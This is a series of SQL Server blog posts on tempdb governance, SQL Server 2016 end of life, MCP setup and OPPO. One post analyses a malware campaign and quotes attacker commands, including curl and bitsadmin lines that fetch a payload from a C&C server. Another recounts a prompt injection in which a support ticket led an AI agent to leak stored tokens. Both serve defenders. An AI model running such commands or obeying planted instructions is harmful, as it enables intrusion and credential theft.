Resource Governor in SQL Server 2025. A Good Change.

Someone runs a massive SELECT INTO #temp, tempdb fills the drive, and the entire instance freezes up dead. You get paged at 2 AM, kill the session, shrink the files, and spend the next day writing a monitoring script that you hope will catch it next time.

SQL Server 2025 finally lets you stay ahead of this. The Resource Governor can now cap how much tempdb space a workload is allowed to consume. Exceed the limit and SQL Server kills the query — not the instance. How cool is that? It's like proactive DBA-ing without the DBA. 😜

What Changed

The Resource Governor has been around since SQL Server 2008, managing CPU, memory, and I/O. Personally, I've always thought it was a bit tedious and somewhat high-maintenance. SQL Server 2025 has added a new option to limit tempdb space consumption that makes things a little more manageable:

Setting	What It Does
GROUP_MAX_TEMPDB_DATA_MB	Hard cap in megabytes on tempdb data space for the group
GROUP_MAX_TEMPDB_DATA_PERCENT	Cap as a percentage of max configured tempdb size

When a query in the managed workload group tries to push past the limit, SQL Server aborts it with error 1138:

Msg 1138, Level 17
Could not allocate a new page for database 'tempdb' because 
that would exceed the limit set for workload group 'default'.

The query dies. The instance lives. End of story.

Step 1: Enable Resource Governor

Resource Governor is disabled by default. Run this to enable it:

ALTER RESOURCE GOVERNOR ENABLE;

Step 2: Monitor Before You Cap

SQL Server 2025 introduces tempdb usage tracking per workload group. Once Resource Governor is enabled, query the following to establish a baseline before setting any limits:

SELECT
    wg.group_id,
    wg.name AS workload_group,
    rg.group_max_tempdb_data_mb AS cap_mb,
    wg.tempdb_data_space_kb / 1024.0 AS current_mb,
    wg.peak_tempdb_data_space_kb / 1024.0 AS peak_mb,
    wg.total_tempdb_data_limit_violation_count AS violations
FROM sys.dm_resource_governor_workload_groups wg JOIN sys.resource_governor_workload_groups rg 
  ON rg.group_id = wg.group_id;

Watch the peaks. You need to know what your workloads actually consume before you set a cap. Setting a 20 GB limit on an instance where reporting queries routinely spike to 25 GB means you're just going to kill the reporting.

Step 3: Set the Cap

The Resource Governor uses workload groups to classify sessions. Every instance ships with a default workload group, and any session that is not explicitly routed to a named group lands in there. This is how you'd limit the tempdb usage on the default group, which puts a ceiling on every unclassified session on the instance:

ALTER WORKLOAD GROUP [default] WITH (GROUP_MAX_TEMPDB_DATA_MB = 20480);
ALTER RESOURCE GOVERNOR RECONFIGURE;

Or to remove that limit:

ALTER WORKLOAD GROUP [default] WITH (GROUP_MAX_TEMPDB_DATA_MB = NULL);
ALTER RESOURCE GOVERNOR RECONFIGURE;

What It Governs (and What It Does Not)

The Resource Governor tracks tempdb data space only. That includes temp tables, table variables, spools, spills, worktables, and sort space. It does not govern tempdb log space and it does not govern the version store.

For the log side, SQL Server 2025 also added support for Accelerated Database Recovery (ADR) on tempdb, which provides instantaneous transaction rollback and aggressive log truncation. Between tempdb data governance and ADR on tempdb, both sides are now more manageable — but they are two separate features that must both be configured separately. NOTE: You cannot enable ADR on the tempdb without a service restart.

The Gotchas

Capping the default workload group is a good start, but not a full solution. If every session lives in the default group, a single query can easily consume the whole cap, leaving everything else with the error 1138 shown above. With mixed workloads, the default group alone is not enough. Reporting and OLTP behave differently under tempdb pressure, and they won't play nicely together. I recommend classifying them into separate user-defined workload groups, each with its own ceiling. This requires a classifier function in master, which is more setup, but very much worth it for environments with mixed workloads. See here: Microsoft Learn.

Tempdb file configuration matters if you use the GROUP_MAX_TEMPDB_DATA_PERCENT setting. With this configuration, your tempdb data files need either autogrow disabled or a defined MAXSIZE, or the percentage setting will not be enforced. When the file config requirements are not met, SQL Server silently ignores the limit and issues warning 10989. Also, if you change tempdb file config after setting percent-based limits, SQL Server also doesn't tell you that your cap just changed. Using the MB-based setting allows more predictable behavior. See Tempdb space resource governance on Microsoft Learn.

ADR on tempdb has a known issue. Microsoft has documented that when ADR is enabled on tempdb, and temporary tables are being created and dropped at a high rate, the workload throughput can be substantially reduced due to latch contention on the sys.sysseobjvalues system table. This issue is currently under investigation. If your workload involves heavy temp table churn, you may want to hold off before enabling ADR on tempdb in production. Or at least test extensively before calling it good.

The version store is not governed. If you use Read Committed Snapshot Isolation (RCSI), snapshot isolation, or ADR, the version store will grow independently of your workload group limits. A long-running transaction can fill tempdb through the version store even if every workload group is perfectly capped. The version store size must be monitored separately via sys.dm_db_file_space_usage.

The Bottom Line

I can't count the number of times I've seen a tempdb filling up its drive. Before SQL Server 2025, the only real options were custom monitoring jobs, alerts — and just hoping that nobody is querying things too ambitiously. Now there is a native kill switch that will let you stay ahead of things. Even better, it is available in Standard Edition.

First, establish good baselines for your hottest sessions. Then enable the Resource Governor and set your cap accordingly. Stop worrying about 2 AM pages for tempdb.

Standard Edition Gets It Now, Too

Also good is that as of SQL Server 2025, Microsoft has moved the Resource Governor from being an Enterprise-only feature to being included in both Standard and Enterprise editions with identical, full capabilities.

More to Read

Tempdb Space Resource Governance — Microsoft Learn
TempDB Filling Up? Try Resource Governor — Brent Ozar
Accelerated Database Recovery — Microsoft Learn
Monitor and Troubleshoot Accelerated Database Recovery — Microsoft Learn
Resource Governor: A New Beginning — Microsoft SQL Server Blog

SQL Server 2016: 111 Days. The Last Patch Just Dropped.

On March 10, Microsoft dropped a security patch for SQL Server 2016. It fixed a publicly disclosed, actively scrutinized elevation-of-privilege vulnerability — one that lets any authenticated user escalate straight to sysadmin. Patched. Done. You're safe. For now.

Here's the part that matters most: That patch came with an expiration date. SQL Server 2016 goes end of life on July 14, 2026. That's 111 days from today.

If you're still running SQL Server 2016 in production, this post is for you.

What March 10 Just Told You

This month's Patch Tuesday included three SQL Server elevation-of-privilege vulnerabilities — CVE-2026-21262 (publicly disclosed), CVE-2026-26115, and CVE-2026-26116. SQL Server 2016 got its patch: KB5077474, build 13.0.6480.4.

CVE-2026-21262 is the one worth staring at. Any authenticated database user — not just a DBA, not just a developer — can exploit it to become sysadmin. I wrote about it last week-ish. It's the kind of CVE that belongs on a compliance report, and possibly a very uncomfortable conversation with your manager.

And if you read yesterday's post on the Larva-26002 BCP malware campaign, you already know what the full attack chain looks like once they're in.

Today, you can patch it. After July 14, that option closes. The CVEs keep arriving on schedule, but the patches for SQL Server 2016 are done.

111 Days Is Not as Long as You Think

Walk the calendar backward from July 14. Be honest about your org's real-world timeline.

Activity	Typical Time Needed
Inventory and dependency audit	1–2 weeks
Stakeholder approval and budget sign-off	2–4 weeks
Non-production environment testing	2–4 weeks
Application and vendor compatibility validation	1–3 weeks
Change control and production scheduling	2–4 weeks
Buffer for surprises (plan for them)	2 weeks minimum

Add that up and you're at 10–17 weeks — which is, coincidentally, almost exactly 111 days. Starting today puts you right on the edge. Starting next month puts you over it.

If you haven't read what technically breaks in a 2016-to-2025 upgrade — linked servers, replication, full-text catalogs, SSIS, connection strings — start there first. The engine upgrade is not the hard part. Discovering what silently fails afterward is.

The Double Deadline Nobody Is Talking About

Here's a small detail that somehow keeps getting buried in the industry coverage: if your SQL Server 2016 is running on Windows Server 2016 — and many are — both products reach end of life on the exact same day. July 14, 2026. Same day. No grace period for either one.

That means you're not scheduling one upgrade. You're scheduling two, on the same hardware, with the same deadline, competing for the same change window. Coordinate them together now and it's one migration project. Ignore it and it becomes two crises in the same week.

If you're not sure whether your SQL Server 2016 instances are sitting on Windows Server 2016, run this:

SELECT 
    @@SERVERNAME               AS server_name,
    @@VERSION                  AS sql_version,
    host_platform,
    host_distribution,
    host_release
FROM sys.dm_os_host_info;

If host_distribution comes back as 'Windows', check @@VERSION — if it says 'Windows Server 2016', you have both problems in one box.

The CVE Conveyor Belt

This number keeps me up at night on behalf of any of my customers still on 2016: 79 CVEs were published against SQL Server 2016 in 2024 alone, with an average CVSS score of 8.4 in 2025. This is no small thing.

It's not going to slow down after July 14. The researchers and the threat actors definitely aren't checking the EOL calendar. What stops after July 14 is Microsoft's response to what they find. Every vulnerability disclosed after that date becomes a permanent resident in your environment — no patch coming, no timeline, no fix.

To be fair: you can buy your way out of that for a while. Which brings us to the ESU math.

The ESU Trap

Extended Security Updates are Microsoft's 'we'll keep patching it if you keep paying' program. For SQL Server 2016, they're available for up to three additional years past EOL — so through July 2029. But read the fine print before you treat this as a plan.

ESU covers critical security patches only. No bug fixes. No performance improvements. No features. No support calls. And the cost structure is punishing: roughly 75% of your original license cost in year one, doubling each subsequent year. By year three, you may be spending more on ESU than a new license would have cost you when this conversation started.

ESU is a bridge — though a short one — with a toll.

If you're in a regulated industry (PCI-DSS, HIPAA, SOC 2, ISO 27001), there's another wrinkle: those frameworks generally require software to be on a supported, actively patched version. 'We're paying for ESU' may not satisfy your auditors as well as 'We upgraded before the deadline' will.

The Ecosystem Is Already Moving On

Microsoft isn't the only one checking the calendar. Third-party vendors have their own support matrices, and SQL Server 2016 is starting to fall off them.

BMC has already published Control-M/EM 9.0.27, planned for October 2026, and will no longer support MSSQL 2016 as a backend database, and they won't be the last. Application vendors follow the same lifecycle pressure, and they rarely give more than a product release cycle of notice. By the time your ISV emails you about it, you're probably already behind.

Running an unsupported database version also tends to quietly invalidate software support agreements in ways that only surface when something breaks badly and you need the vendor to help. That's a terrible time to learn your environment does not meet your vendor pre-reqs.

What to Do Right Now

If you haven't started, this is the actual checklist — not the marketing version.

First, find every SQL Server 2016 instance you have. Include everything -- even the report server the finance team spun up in 2018 and didn't tell anyone about. This query will tell you what you've got:

SELECT 
    @@SERVERNAME   AS server_name,
    @@VERSION      AS version_string,
    SERVERPROPERTY('ProductVersion')   AS product_version,
    SERVERPROPERTY('ProductLevel')     AS product_level,
    SERVERPROPERTY('Edition')          AS edition;

Anything with a version starting with 13.x is SQL Server 2016. Write them down.

Next, check your linked server providers — because this is the most common place upgrades silently detonate:

SELECT 
    s.name AS linked_server,
    s.provider,
    s.data_source
FROM sys.servers s
WHERE s.is_linked = 1;

Any row showing SQLNCLI or SQLNCLI11 is a problem waiting to happen post-upgrade. SQL Server 2025 ships with MSOLEDBSQL 19, which enforces TLS certificate validation that the old SQL Native Client silently skipped. Those linked servers will fail. Plan for it now, not after your upgrade.

Then — and I cannot stress this enough — test in non-production first. Not just the upgrade. Every downstream connection, every SSIS package, every replication topology, every application connection string. As I said, the engine upgrade itself is typically the easy part. Here's a full breakdown of what will break, and why.

The Bottom Line

SQL Server 2016 just got patched. That's the good news. The better news — if you act on it — is that you still have 111 days to handle things properly, rather than in panic mode.

Every day you wait, the calendar compresses and the options narrow. The organizations that are going to have a bad summer are the ones having this conversation in June. Don't be them.

July 14, 2026. Mark it in red. Then work backwards.

Need help planning the upgrade before the deadline? We do this.

More to Read

sqlfingers: SQL Server 2016 Ends in July. Here's What Will Break.
sqlfingers: Patch Tuesday: Your sysadmin Role Was Up for Grabs
sqlfingers: They Hid Malware in a SQL Table. A Weak Password and BCP Did the Rest.
endoflife.date: Microsoft SQL Server
Microsoft Lifecycle: SQL Server 2016

They Hid Malware in a SQL Table. A weak password and BCP Did the Rest.

BCP. I love it. It's a workhorse — bulk copy data in, bulk copy data out, no drama. I've used it more times than I can count. Which is exactly why this stopped me cold: AhnLab's Security Intelligence Center (ASEC) published a confirmed attack report on March 20, 2026 showing an active threat group using BCP to drop malware directly onto SQL Server hosts. No software flaw. No zero-day. They got through a weak password on an internet-exposed server — and then they weaponized BCP. The simple tool we've all used, doing exactly what it was designed to do, except the 'data' being exported is a malware executable.

Who Is Behind This

ASEC tracks this group as Larva-26002. They've been targeting MS-SQL servers since at least January 2024 — starting with Trigona and Mimic ransomware against internet-exposed instances. Palo Alto Unit42 and Zscaler covered Trigona. Securonix tied Mimic to Turkish-speaking threat actors. In 2025, the same group came back with upgraded tools — Teramind alongside AnyDesk, and a new scanner rebuilt in Rust. Now it's 2026 and they've upgraded again. Same group, same targets, new tooling. This is a long-running, actively maintained operation.

How They Get In

Brute force and dictionary attacks against internet-exposed SQL Server instances with weak or default credentials. That's it. No exploit chain, no CVE. Just hammering logins until one works. Once inside, they run basic reconnaissance first for situational awareness:

hostname
whoami
ipconfig /all
netstat -an
tasklist
tasklist /FI "IMAGENAME eq sqlservr.exe" /FO CSV /NH

Then the Call to BCP

The attacker stores the malware binary inside a database table and then uses BCP to export it to disk as an executable. This is the exact command ASEC documented:

bcp "select binaryTable from uGnzBdZbsi" queryout "C:\ProgramData\api.exe" -T -f "C:\ProgramData\FODsOZKgAU.txt"

Two things to note: the table name uGnzBdZbsi and the format file FODsOZKgAU.txt have not changed since the 2024 incident. ASEC confirmed these identifiers have been consistent across every documented attack cycle from 2024 to date. If you see either of those strings anywhere in your environment, stop whatever you are doing and investigate immediately.

Where BCP isn't available or fails, they fall back to curl, bitsadmin, or PowerShell to pull the payload from an external server:

curl -o "C:\programdata\api.exe" "hxxp://109.205.211[.]13/api.exe"
bitsadmin /transfer job1 /download /priority high "hxxp://109.205.211[.]13/api.exe" "C:\programdata\api.exe"

What Gets Installed

The file being dropped at C:\ProgramData\api.exe is a downloader ASEC labeled 'ICE Cloud Launcher' — written in Go. It authenticates to a command-and-control (C&C) server and pulls down the actual payload: 'ICE Cloud Client,' also Go-based, drops with a randomized filename to disguise itself as a legitimate program.

ICE Cloud Client is a scanner and brute-force tool. It registers with the C&C server, receives a list of MS-SQL addresses to target along with a credential pair to try — they used ecomm/ecomm — and then successful logins go straight back to the C&C server. Your compromised SQL Server is now their scout.

Also interesting, the binary strings inside ICE Cloud are written in Turkish, clearly tying this 2026 campaign to the earlier Mimic ransomware operation.

The Part That Gets Me The Most

ASEC confirmed that in 2026, Larva-26002 attacked the same servers they compromised in 2024. Not similar servers — the same ones. They came back. Servers that were never properly cleaned up are being revisited on a recurring cycle, each time with the group's latest tooling.

Look at that three-year path: ransomware in 2024, Rust-based scanning in 2025, ICE Cloud scanning in 2026. They've moved away from ransomware toward credential scanning at scale, and they're building a hit list. A growing pool of compromised SQL Servers quietly probing for the next victim.

IOCs to Check Right Now

Everything below comes directly from the ASEC report. Confirmed indicators from the active 2026 campaign:

Type	Value	Notes
Table name	uGnzBdZbsi	Used to store malware payload since 2024
Format file	FODsOZKgAU.txt	BCP format file, consistent since 2024
Dropped file	C:\ProgramData\api.exe	ICE Cloud Launcher downloader
C&C IP	109.205.211[.]13	Payload download and C&C server
Domain	hostroids[.]com	Associated infrastructure

MD5 hashes published by ASEC for the malware samples:

0a9f2e2ff98e9f19428da79680e80b77
28847cb6859b8239f59cbf2b8f194770
5200410ec674184707b731b697154522
7fbbf16256c7c89d952fee47b70ea759
89bf428b2d9214a66e2ea78623e8b5c9

What Should You Do?

If your SQL Server has any internet exposure — direct or through an application — start here:

Lock down port 1433.

SQL Server should not be reachable from the open internet. Firewall rules should restrict access to known, trusted IP ranges only. If you're not sure what's exposed, find out today.

Audit your SQL logins.

Default and simple credentials are the entry point. Dictionary attacks mean they're trying common passwords. Disable sa if it's not needed. If you have sa enabled with a weak password, or any login with credentials like ecomm/ecomm, change them immediately. Need to find them first? Here's how to find weak passwords using PWDCOMPARE.

Review BCP activity.

BCP is legitimate, but it has no business running unattended on a production server outside of a known, documented process. Check all SQL Server Agent jobs and Windows scheduled tasks for all BCP executions — and then verify each one is intended.

Check for the IOC artifacts.

Search for api.exe in C:\ProgramData\, the table name uGnzBdZbsi, and the format file FODsOZKgAU.txt. These strings have not changed across three years of active attacks. Look. For. Them.

If you were compromised before and 'cleaned up' — verify.

ASEC confirmed return visits to previously compromised servers. A cleanup that didn't include closing the original entry point, such as weak credentials or an exposed port, was not a full cleanup.

These aren't sophisticated attackers. They're patient ones. A weak password and an open port is all it took. Don't make it that easy for them.

More to Read

AhnLab ASEC: Attack Targeting MS-SQL Servers to Deploy the ICE Cloud Scanner (Larva-26002) — March 20, 2026
AhnLab ASEC: Larva-26002 Trigona and Mimic Ransomware Campaign — January 2024
AhnLab ASEC: Larva-26002 2025 Campaign (Rust-based scanner)
Palo Alto Unit42: Trigona Ransomware Update
Zscaler: Technical Analysis of Trigona Ransomware
Securonix: Turkish Hackers Target MS-SQL Servers with Mimic Ransomware

SQL MCP Server: From Setup to Live Data

In a previous post, I covered what SQL MCP Server is, why it matters, and why getting the security model right is non-negotiable. If you haven't read that one, please start there. This post is the follow-up where I'll walk through the full setup and usage. We'll install the tools, configure the server, expose a couple tables, and connect Claude Desktop to query live SQL Server data. It's a simple example of the how-to beginning to end.

What you need before you start

Three things:

Prerequisite	Notes
.NET 8 SDK	Required to install the DAB CLI. Download from Microsoft — SDK column, Windows x64 installer.
Node.js (LTS)	Required for the mcp-remote bridge. Download from nodejs.org — the LTS button on the left.
Claude Desktop	The MCP client. Free download at claude.com/download — Windows version. Requires a paid Claude plan.

Both .NET and Node.js are safe, standard installs. Neither runs as a background service, neither touches SQL Server, and both coexist cleanly with whatever else is on your machine. Verify them after install:

dotnet --version
node --version

Step 1: Install the Data API Builder CLI

SQL MCP Server ships as part of Data API Builder (DAB), Microsoft's open source engine for exposing SQL Server data as REST, GraphQL, and MCP endpoints. Version 1.7 is what added MCP support. Install it at commmand line as a global .NET tool:

dotnet tool install -g Microsoft.DataApiBuilder

You'll see some first-run .NET output, then confirmation. Verify the install:

dab --version

You're looking for version 1.7 or later. Mine is 1.7.90, which is current as of this writing.

Step 2: Create a working folder and initialize the config

DAB is driven entirely by a JSON config file. Create a folder to work in and initialize the config against your SQL Server instance:

mkdir C:\dab-mcp
cd C:\dab-mcp
dab init --database-type mssql --connection-string "Server=SQLFINGERSMINI\V2025;Database=Orders;Trusted_Connection=True;TrustServerCertificate=True;" --config dab-config.json --host-mode development

Regarding that connection string, Windows authentication works fine here. There is no reason to switch to SQL auth just for this. Also, TrustServerCertificate=True is needed for local dev instances without a trusted SSL cert, and --host-mode development enables verbose logging, which you'll want while getting set up.

If it works, you'll see something like this:

Step 3: Add your tables

The config file defines the connection. Now you tell DAB which tables to expose. I'm using an Orders database with two tables — Customer (500K rows) and SalesOrder (1M rows) — both exposed as read-only:

dab add Customer --source dbo.Customer --source.type table --permissions "anonymous:read" --description "Customer records"

dab add SalesOrder --source dbo.SalesOrder --source.type table --permissions "anonymous:read" --description "Sales order records"

One gotcha worth calling out: DAB accepts the dab add command without validating that the table actually exists. I mistyped dbo.SalesOrders with a trailing S, and the server threw an 'Invalid object name' error on startup. Another helpful tip: there is no dab remove command. Fixing a typo means opening dab-config.json directly in a text editor and correcting it by hand. Double-check your object names before you add them.

Step 4: Start the server

dab start

DAB connects to SQL Server, pulls schema for each entity, and starts listening on http://localhost:5000. Keep this command prompt window open — it's your running server. The dab start has a fairly large return. This image is just the end of the output and reflects that the DAB server is now running:

Now you want to verify the REST endpoint is working by calling this in a browser:

http://localhost:5000/api/Customer

You should get back a JSON payload with Customer records.

Now verify the MCP endpoint:

http://localhost:5000/mcp

That's not a failure — that's the MCP endpoint working correctly. A browser isn't a valid MCP client, so it's rejecting the connection because no session handshake was initiated. The endpoint is alive and enforcing the protocol. Good.

Step 5: Connect Claude Desktop

Claude Desktop supports MCP connections through a JSON config file. The tricky part on Windows is finding it — the MSIX-packaged version stores it somewhere non-obvious:

%LOCALAPPDATA%\Packages\Claude_pzs8sxrjxfjjc\LocalCache\Roaming\Claude\claude_desktop_config.json

Once you've found it, open in Notepad and add an mcpServers block after your existing preferences section:

{
  "preferences": {
    "coworkWebSearchEnabled": true,
    "ccdScheduledTasksEnabled": true,
    "coworkScheduledTasksEnabled": false
  },
  "mcpServers": {
    "sql-mcp": {
      "command": "npx",
      "args": [
        "mcp-remote@latest",
        "http://localhost:5000/mcp",
        "--allow-http"
      ]
    }
  }
}

What this does: Claude Desktop expects MCP servers to communicate over stdio — a local process it launches itself. DAB uses HTTP. The mcp-remote package (run via npx, which ships with Node.js) bridges the two, and --allow-http tells it that an unencrypted local connection is acceptable — totally fine for a dev setup.

Save the file, then fully quit Claude Desktop. Closing the window isn't enough — it stays running in the background. Use Task Manager, find Claude, and End Task. Then relaunch it from the Start menu.

Once it's back up, click the + button at the bottom of the chat input, then click Connectors. You should see sql-mcp listed and enabled.

Ok. So how does it work?

Start a new chat in Claude Desktop and ask something simple, like 'How many customers do I have?'

Look at that. My question followed by Claude's processing notes and answer at the bottom. Response time? It took just under 2 minutes for Claude to find my server, the Orders database and the Customer table. Important note: DAB doesn't execute arbitrary SQL. It exposes typed CRUD operations against defined entities. There's no SELECT COUNT(*) happening. Claude is calling the read_records tool, paginating the results, and inferring the count from what comes back. For 500K rows with zero efficient query techniques, under 2 minutes is not that bad.

And that's it. The longer response time may be a trade-off for a controlled, auditable surface, but again, I did not use any smarts to optimize the MCP call, and it's on my local instance with limited memory and zero indexes. Just like any other SQL call, do it properly. Think carefully about what you expose and how the agent will interact with it. Large tables with no natural filtering strategy will be slow. If you're building something real, consider exposing scoped views or stored procedures instead of raw tables, and you can also isolate workloads by running AI-generated queries from the MCP server on a separate instance (or replica) to avoid unnecessary overhead. Lastly, you should use the --description flag to give the agent enough context to query intelligently. As I've tried to emphasize in my other sp_BlitzCache/AI posts, the AI is only as good as the data it's given. You need to help the AI do its job effectively.

What this setup actually is

This is a local development configuration. The DAB server runs on your machine, listens on localhost, and only Claude Desktop on that same machine can reach it. That's the right place to start learning the tool, but it's not how you'd deploy this for a customer. Production means containerizing DAB, deploying behind proper authentication, scoping a dedicated low-privilege login, and running over HTTPS. I covered the security concerns in the previous post — and all of that still applies here.

This post shows that the full path from a cold machine to Claude-querying-live-data through a controlled MCP interface is achievable in a couple hours. The tooling works and the configuration is straightforward. I believe this is a good starting point for anyone looking to understand the SQL MCP server as a bridge between AI and your SQL Server databases.

More to Read:

SQL MCP Server overview — Microsoft Learn
What is Data API Builder? — Microsoft Learn
DAB CLI reference — Microsoft Learn
SQL Server MCP: The Bridge Between Your Database and AI — sqlfingers.com

SQL Server 2025 OPPO: Better Plans. Less Duct Tape.

Parameter sniffing has been a recurring theme here lately. If you caught my sp_BlitzCache + AI series, you saw AI correctly diagnose parameter sniffing from a single output. SQL Server 2025 is now taking its own swing at parameter sniffing — automatically, at the engine level. Meet OPPO.

What Is OPPO?

OPPO stands for Optional Parameter Plan Optimization, and it ships in SQL Server 2025 as part of Intelligent Query Processing (IQP). It targets a specific and very common parameter sniffing pattern that has been painful for a long time — the optional parameter predicate. You've written this before:

SELECT *
FROM dbo.Orders
WHERE (CustomerID = @CustomerID OR @CustomerID IS NULL)
AND (StatusCode = @StatusCode OR @StatusCode IS NULL)

This pattern shows up everywhere — search screens, reporting stored procedures, anything that lets the user filter by one, some, or none of several columns. The problem is that the optimizer has always been forced to compile a single plan that works for both cases: when the parameter has a value (seek is right) and when it's NULL (scan is right). It can't do both well. Whichever value got cached first wins. Everything else loses.

OPPO solves this using the same Multiplan infrastructure introduced with Parameter Sensitive Plan Optimization (PSPO) in SQL Server 2022. Instead of a single cached plan, the optimizer now builds a dispatcher plan that evaluates the actual parameter value at runtime and routes to the appropriate query variant — seek when you've got a value, scan when you don't. The right plan for the right situation, automatically. Very nice.

How to Turn It On

OPPO is enabled by default when your database is at compatibility level 170, which is the default for SQL Server 2025. You don't have to do anything. If you want to be explicit about it, or you're managing compatibility levels carefully during an upgrade, here's the syntax:

ALTER DATABASE [YourDatabase] SET COMPATIBILITY_LEVEL = 170;
GO
ALTER DATABASE SCOPED CONFIGURATION SET OPTIONAL_PARAMETER_OPTIMIZATION = ON;
GO

Interestingly, it cannot be enabled/used only at the query level like MAXDOP, FORCE ORDER or other query level hints. You can, however, disable it at the query level if you need to opt out a specific query. So, it's all-or-nothing, but you can edit specific queries to ignore it:

SELECT *
FROM dbo.Orders
WHERE (CustomerID = @CustomerID OR @CustomerID IS NULL)
OPTION (USE HINT('DISABLE_OPTIONAL_PARAMETER_OPTIMIZATION'));

Note that OPPO and PSPO are independent of each other. Enabling one does not require the other.

The Part Nobody Is Talking About

Here is something I want to emphasize for you because the marketing language around IQP features may not accurately reflect the reality.

OPPO currently works cleanly when you have exactly one optional parameter. Brent Ozar tested this thoroughly — if you haven't read his writeup on OPPO, you should check it out — and his conclusion is blunt: OPPO helps if your query has exactly one, and only one, optional parameter. Any more than that, and it looks like we're still managing these ourselves. That's not a knock on the feature. It's the same story PSPO told when it shipped in 2022 — limited initial scope, promising foundation, gradual investment over time. OPPO looks like it's following the same trajectory.

The kitchen-sink stored procedure with six optional search parameters? The one that's been the bane of your existence for yeeeears? OPPO doesn't fully solve that yet. What it does solve is the simpler, single-parameter case, and it solves it automatically without code changes, plan guides, or OPTION (RECOMPILE) scattered everywhere.

That's not nothing. That's actually pretty good.

What This Means for Your Upgrade Decision

OPPO alone isn't a reason to upgrade to SQL Server 2025. But it is one more item in a growing list of query improvements that could collectively make a real difference for any environment plagued with parameter sniffing problems.

Here's what to actually do before and after you upgrade:

Before the upgrade

Run sp_BlitzCache against your current environment and pull your top queries by parameter sniffing complaints. Document what you find. If you've been following along here, you already know how to do this — and you know how to hand that output to an AI and get a plain-English diagnosis of what's wrong and why.

After moving to compatibility level 170

Run it again. Compare. You want to know which queries OPPO picked up, which ones PSPO is handling, and which ones are still on you. Query Store could be your friend here. Capture baselines before the compatibility level change, not after.

Watch for plan shifts

OPPO can cause plan shifts on queries that were previously stable. 'Better' is the intent, but 'different' is what you'll see first, and different requires validation. Test your workload under compatibility level 170 in a non-production environment before you cut over.

Don't assume the multi-parameter case is handled

If you have stored procedures with two or more optional parameters, verify OPPO is actually helping them — don't assume. The other workarounds that you've been using — dynamic SQL, OPTION (RECOMPILE), OPTIMIZE FOR — are all still valid and still necessary in those cases.

The Bigger Picture

What I find genuinely interesting about OPPO isn't just the feature itself — it's what it represents. For years, parameter sniffing diagnosis has required a DBA who knows what to look for, a tool like sp_BlitzCache to surface it, and enough experience to connect the symptom to the cause. We just spent six posts exploring how well AI can take that sp_BlitzCache output and walk through the diagnosis. Now the engine itself is starting to detect and route around certain classes of the problem before it ever becomes a symptom.

That's a meaningful shift. It does not replace the DBA, but it does mean that some of the lowest-hanging parameter sniffing fruit gets handled automatically, which frees you up to focus on the harder cases — the ones where the data distribution is genuinely complicated, the procedure design is the real problem, or the fix requires a rewrite rather than a hint.

SQL Server is getting smarter about query execution. Slowly, incrementally, version by version. OPPO is one more step in that direction. It's not finished, but it's definitely real.

More to Read

Optional Parameter Plan Optimization — Microsoft Learn
How SQL Server 2025's Optional Parameter Plan Optimization Works — Brent Ozar
Parameter Sensitive Plan Optimization — Microsoft Learn
sp_BlitzCache + ChatGPT: I'm Convinced — sqlfingers.com

SQL Server MCP: The Bridge Between Your Database and AI

AI is inside your SQL Server now. I don't mean that it's knocking or that it's on the horizon. It is already there. Microsoft calls it SQL MCP Server — their open-source solution for bringing AI agents directly into your data workflows. If you haven't heard of MCP yet, keep reading. If you've got developers in-house, there's a reasonable chance that it's already running in your environment and you should know about it.

What Is MCP

MCP stands for Model Context Protocol. Anthropic introduced it in late 2024 as an open standard for connecting AI agents to external tools and data sources. Think of it as an open-source USBC port for AI where the goal is standardization. Meant to solve the problem where every AI model needs its own connector by creating a standard interface for AI data integration.

Microsoft shipped SQL MCP Server as part of Data API Builder (DAB) version 1.7. When configured, the agent calls a defined, typed tool and the server executes a controlled operation against the entities you've explicitly configured, such as read_records, create_record, update_record and delete_record. No raw query generation. No credentials handed to a chatbot.

By plugging your SQL Server into an MCP port, the AI stops guessing what your data looks like and starts interacting with it in real-time. Yes. I said real-time. The MCP turns your AI from a chatbot that's just talking into a virtual DBA that actually works across your live data. It’s like giving AI its own connection string and a read-only — or write-ready — seat at the table.

That Agent configuration is key. You define what is exposed and you set the permissions. This gives AI a controlled surface rather than just a wide open door.

A Good Example

Your client's helpdesk team spends twenty minutes every day copying order status details from SSMS into emails. You set up the SQL MCP Server, expose the Orders and Customers views with read-only permissions for the helpdesk role, and connect it to GitHub Copilot. Now the helpdesk user types: 'Show me all open orders for Acme Corp placed in the last 30 days' — and receives a formatted result in seconds, without touching SSMS or knowing a line of T-SQL, and without having access to anything outside those two views. You've built a controlled and very manageable bridge between AI and your data layer that can be used with natural language to query data and output the desired resultset.

A Dangerous Example

A developer on your team is testing an AI coding agent. They want to be able to query the database while developing, so they point it at SQL Server using their account which is an administrator, and they expose all tables 'just to keep it simple'. This MCP setup using an over-privileged account inherits classic SQL-injection risks, which can escalate into full data destruction or exfiltration.

This isn't a hypothetical pattern. In July 2025, researchers at General Analysis documented a real attack scenario involving Supabase's MCP implementation. A developer was using Cursor — an AI coding agent — connected to their Supabase database via MCP with a privileged service_role key, which bypassed all row-level security by design. An attacker filed a support ticket containing hidden instructions embedded in the ticket text. When the developer asked the agent to review the latest open tickets, the agent read the attacker's message and interpreted the embedded instructions as commands — querying the private integration_tokens table and writing the contents back into the support ticket thread. The attacker refreshed the ticket and read their targets' credentials in plain text. The database executed every query correctly. It had no way to know the request came from a compromised agent rather than an authorized service. Too much access + Untrusted input = Accident waiting to happen.

What's Already Out There

Erik Darling's free SQL Server Performance Monitor shipped in February 2026 with a built-in MCP server. Enable it in settings, connect any MCP-compatible AI client, and ask natural language questions about CPU, waits, blocking, and query performance against your own collected monitoring data. Erik uses Claude, but the MCP server works with any LLM that supports the protocol. This is the lowest-risk, highest-value starting point for any DBA curious about what MCP actually feels like in practice.

Google launched managed MCP servers for Cloud SQL — including SQL Server — in early 2026. Microsoft has its own path through DAB. Both major cloud vendors are shipping this in production. It is not a preview feature anymore.

What You Need to Think About

Scope the permissions like your job depends on it.

Because it might. Microsoft's own security guidance on MCP flags over-permissioned servers as a primary risk. An MCP server should have access scoped exactly to what the agent needs. Nothing more. Specific entities, read-only wherever possible, a dedicated low-privilege login. Not a sysadmin. Not a service account recycled from something else. A purpose-built login with the minimum access to do the job.

Untrusted data in, bad instructions out.

If your AI agent reads from a table that users can write to, an attacker writing to that table could potentially influence what the agent does next. This is called Prompt Injection, and is ranked as the number one security risk for LLM applications by OWASP. This is an architectural vulnerability which allows attackers to bypass AI safety guardrails. Keep AI agents away from data sources that mix trusted operations with untrusted user input.

Find out what's already running.

